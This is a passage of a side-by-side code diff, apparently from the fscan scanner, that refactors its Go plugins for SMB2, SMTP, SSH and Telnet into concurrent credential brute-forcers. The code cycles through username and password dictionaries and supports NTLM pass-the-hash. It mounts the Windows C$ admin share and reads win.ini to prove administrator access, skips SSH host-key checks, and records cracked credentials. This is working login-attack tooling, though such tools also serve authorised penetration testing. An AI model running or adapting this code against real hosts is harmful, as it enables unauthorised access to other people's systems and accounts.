Initiator: &initiator,
}
// 使用context设置超时
session, err := dialer.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), nil
}
defer session.Logoff()
// 检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), nil
default:
}
// 获取共享列表
sharesList, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), nil
}
// 再次检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), sharesList
default:
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), sharesList
}
defer fs.Umount()
// 最后检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), sharesList
default:
}
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), sharesList
}
defer f.Close()
return true, nil, sharesList
} }
// logSuccessfulAuth 记录成功的认证 // logSuccessfulAuth 记录成功的认证
@ -198,69 +449,6 @@ func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err er
Common.LogError(errlog) Common.LogError(errlog)
} }
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
// 建立TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), false
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
d := &smb2.Dialer{
Initiator: &initiator,
}
session, err := d.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), false
}
defer session.Logoff()
// 获取共享列表
shares, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), false
}
// 打印共享信息(如果未打印过)
if !hasprint {
logShareInfo(info, user, pass, hash, shares)
flag2 = true
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), flag2
}
defer fs.Umount()
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
}
defer f.Close()
return true, nil, flag2
}
// logShareInfo 记录SMB共享信息 // logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
credential := pass credential := pass
@ -300,5 +488,5 @@ func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte,
msg += fmt.Sprintf(" Pass:%s", pass) msg += fmt.Sprintf(" Pass:%s", pass)
} }
msg += fmt.Sprintf(" 共享:%v", shares) msg += fmt.Sprintf(" 共享:%v", shares)
Common.LogInfo(msg) Common.LogBase(msg)
} }

View File

@ -1,167 +1,278 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"net/smtp" "net/smtp"
"strings" "strings"
"sync"
"time" "time"
) )
// SmtpCredential 表示一个SMTP凭据
type SmtpCredential struct {
Username string
Password string
}
// SmtpScanResult 表示SMTP扫描结果
type SmtpScanResult struct {
Success bool
Error error
Credential SmtpCredential
IsAnonymous bool
}
// SmtpScan 执行 SMTP 服务扫描 // SmtpScan 执行 SMTP 服务扫描
func SmtpScan(info *Common.HostInfo) (tmperr error) { func SmtpScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试匿名访问 // 先测试匿名访问
for retryCount := 0; retryCount < maxRetries; retryCount++ { Common.LogDebug("尝试匿名访问...")
flag, err := SmtpConn(info, "", "") anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if flag && err == nil {
msg := fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
Common.LogSuccess(msg)
// 保存匿名访问结果 if anonymousResult.Success {
result := &Common.ScanResult{ // 匿名访问成功
Time: time.Now(), saveSmtpResult(info, target, anonymousResult)
Type: Common.VULN, return nil
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "anonymous-access",
"anonymous": true,
},
}
Common.SaveResult(result)
return err
}
if err != nil {
errlog := fmt.Sprintf("smtp %s anonymous %v", target, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
break
} }
totalUsers := len(Common.Userdict["smtp"]) // 构建凭据列表
totalPass := len(Common.Passwords) var credentials []SmtpCredential
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["smtp"] { for _, user := range Common.Userdict["smtp"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, SmtpCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass)) // 使用工作池并发扫描
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveSmtpResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentSmtpScan 并发扫描SMTP服务
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SmtpScanResult, 1)
workChan := make(chan SmtpCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := trySmtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
} }
}
}()
}
done := make(chan struct { // 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("SMTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmtpCredential 尝试单个SMTP凭据
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &SmtpScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中尝试连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := SmtpConn(info, credential.Username, credential.Password, timeoutSeconds)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool success bool
err error err error
}, 1) }{success, err}:
go func(user, pass string) {
flag, err := SmtpConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
msg := fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(msg)
// 保存成功爆破结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
} }
}()
if err != nil { // 等待结果或超时
errlog := fmt.Sprintf("SMTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", var success bool
target, user, pass, err) var err error
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil { select {
if retryCount == maxRetries-1 { case result := <-resultChan:
continue success = result.success
} err = result.err
continue case <-connCtx.Done():
cancel()
if ctx.Err() != nil {
// 全局超时
return &SmtpScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
} }
} }
break // 单个连接超时
err = fmt.Errorf("连接超时")
}
cancel() // 释放连接上下文
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &SmtpScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &SmtpScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// SmtpConn 尝试 SMTP 连接 // SmtpConn 尝试 SMTP 连接
func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) { func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(timeoutSeconds) * time.Second
addr := fmt.Sprintf("%s:%s", host, port) addr := fmt.Sprintf("%s:%s", host, port)
conn, err := net.DialTimeout("tcp", addr, timeout) // 设置连接超时
dialer := &net.Dialer{
Timeout: timeout,
}
conn, err := dialer.Dial("tcp", addr)
if err != nil { if err != nil {
return false, err return false, err
} }
defer conn.Close() defer conn.Close()
// 设置读写超时
conn.SetDeadline(time.Now().Add(timeout))
client, err := smtp.NewClient(conn, host) client, err := smtp.NewClient(conn, host)
if err != nil { if err != nil {
return false, err return false, err
} }
defer client.Close() defer client.Close()
// 尝试认证
if user != "" { if user != "" {
auth := smtp.PlainAuth("", user, pass, host) auth := smtp.PlainAuth("", user, pass, host)
err = client.Auth(auth) err = client.Auth(auth)
@ -170,6 +281,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
} }
} }
// 尝试发送邮件(测试权限)
err = client.Mail("test@test.com") err = client.Mail("test@test.com")
if err != nil { if err != nil {
return false, err return false, err
@ -177,3 +289,41 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
return true, nil return true, nil
} }
// saveSmtpResult 保存SMTP扫描结果
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "anonymous-access",
"anonymous": true,
}
} else {
successMsg = fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}

View File

@ -8,154 +8,123 @@ import (
"io/ioutil" "io/ioutil"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
func SshScan(info *Common.HostInfo) (tmperr error) { // SshCredential 表示一个SSH凭据
if Common.DisableBrute { type SshCredential struct {
return Username string
} Password string
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["ssh"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["ssh"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout)*time.Second)
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := SshConn(info, user, pass)
select {
case <-ctx.Done():
case done <- struct {
success bool
err error
}{success, err}:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
successMsg := fmt.Sprintf("SSH认证成功 %s User:%v Pass:%v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
details := map[string]interface{}{
"port": info.Ports,
"service": "ssh",
"username": user,
"password": pass,
"type": "weak-password",
}
// 如果使用了密钥认证,添加密钥信息
if Common.SshKeyPath != "" {
details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath
details["password"] = nil
}
// 如果执行了命令,添加命令信息
if Common.Command != "" {
details["command"] = Common.Command
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
time.Sleep(100 * time.Millisecond)
cancel()
return nil
}
case <-ctx.Done():
err = fmt.Errorf("连接超时")
}
cancel()
if err != nil {
errMsg := fmt.Sprintf("SSH认证失败 %s User:%v Pass:%v Err:%v",
target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
if Common.SshKeyPath != "" {
Common.LogDebug("检测到SSH密钥路径停止密码尝试")
return err
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
} }
func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { // SshScanResult 表示SSH扫描结果
var auth []ssh.AuthMethod type SshScanResult struct {
if Common.SshKeyPath != "" { Success bool
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) Error error
if err != nil { Credential SshCredential
return false, fmt.Errorf("读取密钥失败: %v", err) }
// SshScan 扫描SSH服务弱密码
func SshScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 创建全局超时上下文
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer globalCancel()
// 创建结果通道
resultChan := make(chan *SshScanResult, 1)
// 启动一个协程进行扫描
go func() {
// 如果指定了SSH密钥使用密钥认证而非密码爆破
if Common.SshKeyPath != "" {
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath))
// 尝试使用密钥连接各个用户
for _, user := range Common.Userdict["ssh"] {
select {
case <-globalCtx.Done():
Common.LogDebug("全局超时,中止密钥认证")
return
default:
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout)
if success {
credential := SshCredential{
Username: user,
Password: "", // 使用密钥,无密码
}
resultChan <- &SshScanResult{
Success: true,
Credential: credential,
}
return
} else {
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
}
}
}
Common.LogDebug("所有用户密钥认证均失败")
resultChan <- nil
return
} }
signer, err := ssh.ParsePrivateKey(pemBytes) // 否则使用密码爆破
if err != nil { credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords)
return false, fmt.Errorf("解析密钥失败: %v", err) Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum)
resultChan <- result
}()
// 等待结果或全局超时
select {
case result := <-resultChan:
if result != nil {
// 记录成功结果
logAndSaveSuccess(info, target, result)
return nil
} }
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} case <-globalCtx.Done():
} else { Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
auth = []ssh.AuthMethod{ssh.Password(pass)} return fmt.Errorf("全局超时,扫描未完成")
}
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
return nil
}
// attemptKeyAuth 尝试使用SSH密钥认证
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
pemBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
return false, fmt.Errorf("读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("解析密钥失败: %v", err)
} }
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
User: user, User: username,
Auth: auth, Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil return nil
}, },
Timeout: time.Duration(Common.Timeout) * time.Millisecond, Timeout: time.Duration(timeoutSeconds) * time.Second,
} }
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
@ -170,13 +139,221 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
} }
defer session.Close() defer session.Close()
// 如果需要执行命令 return true, nil
if Common.Command != "" { }
_, err := session.CombinedOutput(Common.Command)
// generateCredentials 生成所有用户名密码组合
func generateCredentials(users, passwords []string) []SshCredential {
var credentials []SshCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SshCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentSshScan 并发扫描SSH服务
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
// 限制并发数
if maxThreads <= 0 {
maxThreads = 10 // 默认值
}
if maxThreads > len(credentials) {
maxThreads = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SshScanResult, 1)
workChan := make(chan SshCredential, maxThreads)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxThreads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := trySshCredential(info, credential, timeout, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果
select {
case result, ok := <-resultChan:
if ok {
return result
}
case <-ctx.Done():
Common.LogDebug("父上下文取消,中止所有扫描")
}
return nil
}
// trySshCredential 尝试单个SSH凭据
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := attemptSshConnection(info, credential.Username, credential.Password, timeout)
if success {
return &SshScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil { if err != nil {
return true, err // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
return &SshScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// attemptSshConnection 尝试SSH连接
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
defer cancel()
connChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := sshConnect(info, username, password, timeoutSeconds)
select {
case <-ctx.Done():
case connChan <- struct {
success bool
err error
}{success, err}:
}
}()
select {
case result := <-connChan:
return result.success, result.err
case <-ctx.Done():
return false, fmt.Errorf("连接超时")
}
}
// sshConnect 建立SSH连接并验证
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
auth := []ssh.AuthMethod{ssh.Password(password)}
config := &ssh.ClientConfig{
User: username,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(timeoutSeconds) * time.Second,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
return false, err
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
return true, nil return true, nil
} }
// logAndSaveSuccess 记录并保存成功结果
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) {
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "ssh",
"username": result.Credential.Username,
"type": "weak-password",
}
// 区分密钥认证和密码认证
if Common.SshKeyPath != "" {
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
target, result.Credential.Username, Common.SshKeyPath)
details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath
} else {
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
target, result.Credential.Username, result.Credential.Password)
details["auth_type"] = "password"
details["password"] = result.Credential.Password
}
Common.LogSuccess(successMsg)
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}

View File

@ -2,145 +2,280 @@ package Plugins
import ( import (
"bytes" "bytes"
"context"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"regexp" "regexp"
"strings" "strings"
"sync"
"time" "time"
) )
// TelnetCredential 表示一个Telnet凭据
type TelnetCredential struct {
Username string
Password string
}
// TelnetScanResult 表示Telnet扫描结果
type TelnetScanResult struct {
Success bool
Error error
Credential TelnetCredential
NoAuth bool
}
// TelnetScan 执行Telnet服务扫描和密码爆破 // TelnetScan 执行Telnet服务扫描和密码爆破
func TelnetScan(info *Common.HostInfo) (tmperr error) { func TelnetScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["telnet"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有用户名密码组合 // 构建凭据列表
var credentials []TelnetCredential
for _, user := range Common.Userdict["telnet"] { for _, user := range Common.Userdict["telnet"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, TelnetCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass)) // 使用工作池并发扫描
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveTelnetResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Telnet扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentTelnetScan 并发扫描Telnet服务
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *TelnetScanResult, 1)
workChan := make(chan TelnetCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryTelnetCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success || result.NoAuth {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据或无需认证,取消其他工作
default:
}
return
}
} }
}
}()
}
done := make(chan struct { // 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && (result.Success || result.NoAuth) {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Telnet并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryTelnetCredential 尝试单个Telnet凭据
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &TelnetScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建结果通道
resultChan := make(chan struct {
success bool
noAuth bool
err error
}, 1)
// 设置单个连接超时
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
noAuth, err := telnetConnWithContext(connCtx, info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
// 连接已超时或取消
case resultChan <- struct {
success bool success bool
noAuth bool noAuth bool
err error err error
